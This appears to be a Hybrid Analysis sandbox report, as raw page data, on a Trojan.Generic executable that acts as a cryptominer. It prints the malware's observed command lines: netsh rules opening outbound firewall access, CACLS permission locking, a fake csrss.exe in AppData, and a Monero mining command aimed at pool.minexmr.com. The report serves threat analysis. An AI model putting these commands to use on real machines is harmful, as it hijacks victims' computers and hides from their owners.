34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 4d:I[99539,["$1","$2","$3","$4","$5"],"IconMark"] 33:T494,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 8b29185ed15c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8b29185ed15c…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 14 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc"],"about":{"@type":"SoftwareApplication","name":"2017-11-29_09-47-57.exe","applicationCategory":["peexe","executable"],"identifier":"8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":12,"total":28},"behavioralIndicators":{"malicious":14,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T7c4,Spawned process "" (UID: 00017284-00003724) Spawned process "netsh.exe" with commandline ""netsh advfirewall firewall add rule name="Quant" program="c:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" dir=Out action=allow" (UID: 00019375-00002856), Spawned process "netsh.exe" with commandline ""netsh advfirewall firewall add rule name="Quant" program="%APPDATA%\21480827\csrss.exe" dir=Out action=allow" (UID: 00019401-00002860) Spawned process "cmd.exe" with commandline ""cmd /c echo Y|CACLS "%APPDATA%\21480827\csrss.exe" /P "qYYFE7g:R"" (UID: 00019421-00003092), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00019428-00003012), Spawned process "cacls.exe" with commandline ""CACLS "%APPDATA%\21480827\csrss.exe" /P "qYYFE7g:R"" (UID: 00019429-00002932) Spawned process "cmd.exe" with commandline ""cmd /c echo Y|CACLS "%APPDATA%\21480827" /P "qYYFE7g:R"" (UID: 00019437-00003076), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00019441-00003056), Spawned process "cacls.exe" with commandline ""CACLS "%APPDATA%\21480827" /P "qYYFE7g:R"" (UID: 00019442-00003004) Spawned process "csrss.exe" (UID: 00019475-00003096) Spawned process "csrss.exe" (UID: 00023273-00003184) Spawned process "regini.exe" with commandline "regini %TEMP%\per" (UID: 00025353-00003384) Spawned process "regini.exe" with commandline "regini %TEMP%\per" (UID: 00025361-00003436) Spawned process "105925.exe" (UID: 00025797-00003504) Spawned process "11149.exe" (UID: 00028113-00003536) Spawned process "105925.exe" (UID: 00032134-00000584) Spawned process "msiexec.exe" (UID: 00032137-00002948) Spawned process "wuapp.exe" with commandline "-o pool.minexmr.com:4444 -u 49hxvmH6yFCQVsJGdpR1t2AVDxNjMsJYAWL9c1qMsPVa2yFzb2YjVZTjguAfvMzaCMGY72eTkZEA4Fu38XzqULduFzfuYUd -p x -v 0 -t 2" (UID: 00032383-00000908) Spawned process "11149.exe" (UID: 00038649-00000980) Spawned process "msiexec.exe" (UID: 00038653-00003844)37:T4b7,"" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "" touched file "C:\Users\qYYFE7g\AppData\Local\Microsoft\Windows\Caches" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db" "" touched file "C:\Windows\System32\en-US\setupapi.dll.mui" "" touched file "C:\Windows\System32\en-US\propsys.dll.mui" "" touched file "C:\Windows\AppPatch\sysmain.sdb" "csrss.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "csrss.exe" touched file "C:\Users\qYYFE7g\AppData\Local\Microsoft\Windows\Caches" "csrss.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db"38:Tcf5,"" wrote bytes "2b458f77f99c8e7778eb8d7779898d7793978e77d3338f77a41d8f77d0d98e7711a68e775c398f7741cf8e77e19c8e770e458f77b62f8f7741238e7700bf8e7700000000473fce7700000000ec22307699e52d7600000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL") "" wrote bytes "0857cd760478d6760000000051c1427694984276ee9c427675dc4476273e4476efb248760000000046ce8e77013d8f7738ed8f77cfcd8e7731238e77de2f8f77c4ca8e7780bb8e77aa6e8f779fbb8e7792bb8e7746ba8e770abf8e7700000000" to virtual address "0x6B181000" (part of module "SHFOLDER.DLL") "" wrote bytes "c2000000" to virtual address "0x1000404C" (part of module "SYSTEM.DLL") "csrss.exe" wrote bytes "2b458f77f99c8e7778eb8d7779898d7793978e77d3338f77a41d8f77d0d98e7711a68e775c398f7741cf8e77e19c8e770e458f77b62f8f7741238e7700bf8e7700000000473fce7700000000ec22307699e52d7600000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL") "csrss.exe" wrote bytes "c2000000" to virtual address "0x1000404C" (part of module "SYSTEM.DLL") "csrss.exe" wrote bytes "0857cd760478d6760000000051c1427694984276ee9c427675dc4476273e4476efb248760000000046ce8e77013d8f7738ed8f77cfcd8e7731238e77de2f8f77c4ca8e7780bb8e77aa6e8f779fbb8e7792bb8e7746ba8e770abf8e7700000000" to virtual address "0x72F31000" (part of module "SHFOLDER.DLL") "105925.exe" wrote bytes "2b458f77f99c8e7778eb8d7779898d7793978e77d3338f77a41d8f77d0d98e7711a68e775c398f7741cf8e77e19c8e770e458f77b62f8f7741238e7700bf8e7700000000473fce7700000000ec22307699e52d7600000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL") "105925.exe" wrote bytes "c2000000" to virtual address "0x1000404C" (part of module "SYSTEM.DLL") "105925.exe" wrote bytes "0857cd760478d6760000000051c1427694984276ee9c427675dc4476273e4476efb248760000000046ce8e77013d8f7738ed8f77cfcd8e7731238e77de2f8f77c4ca8e7780bb8e77aa6e8f779fbb8e7792bb8e7746ba8e770abf8e7700000000" to virtual address "0x72F21000" (part of module "SHFOLDER.DLL") "11149.exe" wrote bytes "2b458f77f99c8e7778eb8d7779898d7793978e77d3338f77a41d8f77d0d98e7711a68e775c398f7741cf8e77e19c8e770e458f77b62f8f7741238e7700bf8e7700000000473fce7700000000ec22307699e52d7600000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL") "11149.exe" wrote bytes "c2000000" to virtual address "0x1000404C" (part of module "SYSTEM.DLL") "11149.exe" wrote bytes "0857cd760478d6760000000051c1427694984276ee9c427675dc4476273e4476efb248760000000046ce8e77013d8f7738ed8f77cfcd8e7731238e77de2f8f77c4ca8e7780bb8e77aa6e8f779fbb8e7792bb8e7746ba8e770abf8e7700000000" to virtual address "0x72F21000" (part of module "SHFOLDER.DLL") "wuapp.exe" wrote bytes "7739ba7779a8be77be72be77d62dbe771de2b97705a2be77c868bd7757d1c477bee3b977616fbe776841bc770050bc7700000000ad3798778b2d9877b641987700000000" to virtual address "0x75731000" (part of module "WSHIP6.DLL") "wuapp.exe" wrote bytes "92e6b97779a8be77be72be77d62dbe771de2b97705a2be77bee3b977616fbe776841bc770050bc7700000000ad3798778b2d9877b641987700000000" to virtual address "0x751E1000" (part of module "WSHTCPIP.DLL") "wuapp.exe" wrote bytes "4053bc775858bd77186abd77653cbe770000000000bf8e770000000056cc8e77000000007cca8e77000000003768eb756a2cbe77d62dbe77000000002069eb750000000029a68e7700000000a48deb7500000000f70e8e7700000000" to virtual address "0x768F1000" (part of module "NSI.DLL")39:T124f,"" wrote 32 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 52 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 4 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 1024 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 1025 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 15360 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 7680 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 512 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 2560 bytes to a remote process "C:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" (Handle: 340) "" wrote 32 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 132) "" wrote 52 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 132) "" wrote 4 bytes to a remote process "C:\Windows\System32\netsh.exe" (Handle: 132) "" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 600) "" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 600) "" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 600) "csrss.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 1024 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 1025 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 15360 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 7680 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 512 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 2560 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\21480827\csrss.exe" (Handle: 344) "csrss.exe" wrote 32 bytes to a remote process "C:\Windows\System32\regini.exe" (Handle: 132) "csrss.exe" wrote 52 bytes to a remote process "C:\Windows\System32\regini.exe" (Handle: 132) "csrss.exe" wrote 4 bytes to a remote process "C:\Windows\System32\regini.exe" (Handle: 132) "csrss.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\105925.exe" (Handle: 1028) "csrss.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\105925.exe" (Handle: 1028) "csrss.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\105925.exe" (Handle: 1028) "csrss.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\11149.exe" (Handle: 1076) "csrss.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\11149.exe" (Handle: 1076) "csrss.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\11149.exe" (Handle: 1076) "105925.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\105925.exe" (Handle: 336) "105925.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\105925.exe" (Handle: 336) "105925.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\105925.exe" (Handle: 336) "105925.exe" wrote 1500 bytes to a remote process "C:\Windows\System32\msiexec.exe" (Handle: 348) "105925.exe" wrote 4 bytes to a remote process "C:\Windows\System32\msiexec.exe" (Handle: 348) "105925.exe" wrote 32 bytes to a remote process "C:\Windows\System32\msiexec.exe" (Handle: 348) "105925.exe" wrote 52 bytes to a remote process "C:\Windows\System32\msiexec.exe" (Handle: 348)3a:T7ff,Spawned process "" (UID: 00014716-00003032) Spawned process "" (UID: 00017284-00003724) Spawned process "netsh.exe" with commandline ""netsh advfirewall firewall add rule name="Quant" program="c:\8b29185ed15cc6641a0d106472a9d794dd456c75d3b64ab579778f584ea40efc.exe" dir=Out action=allow" (UID: 00019375-00002856), Spawned process "netsh.exe" with commandline ""netsh advfirewall firewall add rule name="Quant" program="%APPDATA%\21480827\csrss.exe" dir=Out action=allow" (UID: 00019401-00002860) Spawned process "cmd.exe" with commandline ""cmd /c echo Y|CACLS "%APPDATA%\21480827\csrss.exe" /P "qYYFE7g:R"" (UID: 00019421-00003092), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00019428-00003012), Spawned process "cacls.exe" with commandline ""CACLS "%APPDATA%\21480827\csrss.exe" /P "qYYFE7g:R"" (UID: 00019429-00002932) Spawned process "cmd.exe" with commandline ""cmd /c echo Y|CACLS "%APPDATA%\21480827" /P "qYYFE7g:R"" (UID: 00019437-00003076), Spawned process "cmd.exe" with commandline "/S /D /c" echo Y"" (UID: 00019441-00003056), Spawned process "cacls.exe" with commandline ""CACLS "%APPDATA%\21480827" /P "qYYFE7g:R"" (UID: 00019442-00003004) Spawned process "csrss.exe" (UID: 00019475-00003096) Spawned process "csrss.exe" (UID: 00023273-00003184) Spawned process "regini.exe" with commandline "regini %TEMP%\per" (UID: 00025353-00003384) Spawned process "regini.exe" with commandline "regini %TEMP%\per" (UID: 00025361-00003436) Spawned process "105925.exe" (UID: 00025797-00003504) Spawned process "11149.exe" (UID: 00028113-00003536) Spawned process "105925.exe" (UID: 00032134-00000584) Spawned process "msiexec.exe" (UID: 00032137-00002948) Spawned process "wuapp.exe" with commandline "-o pool.minexmr.com:4444 -u 49hxvmH6yFCQVsJGdpR1t2AVDxNjMsJYAWL9c1qMsPVa2yFzb2YjVZTjguAfvMzaCMGY72eTkZEA4Fu38XzqULduFzfuYUd -p x -v 0 -t 2" (UID: 00032383-00000908) Spawned process "11149.exe" (UID: 00038649-00000980) Spawned process "msiexec.exe" (UID: 00038653-00003844)3b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAB3AAAAAAAAAAAAAAAAAAAAdQAAAAAAAAAAAAAAAAAAAHVwAAAAAAAAAAAAAAAAAAdVcAAAAAAAAAAAAAAAAAAHVXAAAAAAAAAAAAAAAAAAB1VwAAAAAAAAAAAAAAAAAHdVcAAAAAAAAAAAAAAAAAB1VXAAAAAAAAAAAAAAAAAHd1UAAAAAAAAAAAAAAAAAB3V3AAAAAAAAAAAAAAAAAHfdVwAAAAAAAAAAAAAAAAd93XAAAAAAAAAAAAAAAAB3d9dwAAAACAAAAAAAB3d3B3d3AAAAAACIgAAAAHd3d3B3cAAAAAAAAIiIAACHd3d3BwAAAAAAAAAACI3deId3d3AAAAAAAAAAAAAAh3eIdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////////////////////////9/////P////x////8P////D////wf///4H//++B///3gf//+wH///kB///8A////gO9//wDnv/gB8c/AAfgHAAP8AAAH/gAAD/+AAB//8AA///4B////////////////////////////w==3c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAAAAAAAAAAAAAAAAAAAAB3AAAAAAAAAAAAAAAAAAAAdQAAAAAAAAAAAAAAAAAAAHVwAAAAAAAAAAAAAAAAAAdVcAAAAAAAAAAAAAAAAAAHVXAAAAAAAAAAAAAAAAAAB1VwAAAAAAAAAAAAAAAAAHdVcAAAAAAAAAAAAAAAAAB1VXAAAAAAAAAAAAAAAAAHd1UAAAAAAAAAAAAAAAAAB3V3AAAAAAAAAAAAAAAAAHfdVwAAAAAAAAAAAAAAAAd93XAAAAAAAAAAAAAAAAB3d9dwAAAACAAAAAAAB3d3B3d3AAAAAACIgAAAAHd3d3B3cAAAAAAAAIiIAACHd3d3BwAAAAAAAAAACI3deId3d3AAAAAAAAAAAAAAh3eIdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////////////////////////9/////P////x////8P////D////wf///4H//++B///3gf//+wH///kB///8A////gO9//wDnv/gB8c/AAfgHAAP8AAAH/gAAD/+AAB//8AA///4B////////////////////////////w==3d:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==3e:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==3f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==40:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3d3d3d3d3d3d3d3dwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAcAAAAAAAAAAAAAAAAAAHAHAAAAAAAAAAAAAAAAAABwBwAAAAAAAAAAAAAAAAAAcAd3AAAAAAAAAAAAAAAAAHAHd3AAAAAAAAAAAAAAAABwB3d3/wAAAADwD/////AAcAd3f3fwDwAA8AAAAAAAAHAHd393d3cAD/AAAAAAAABwB3d/d3d3AP8AAAAAAAAAcAd3f3f3fwDwAAAAAAAAAHAHd3f/d3cA8AAAAAAAAABwB3d3d3d3AAAAAAAAAAAAcAd3d3d3dwAAAAAAAAAAAHAHd3d3d3cAAAAAAAAAAABwB4iIiIiIiIiIiIiIiIiIcAeIiIiIiIiIiIiIiHh4eHAHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////w==41:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPh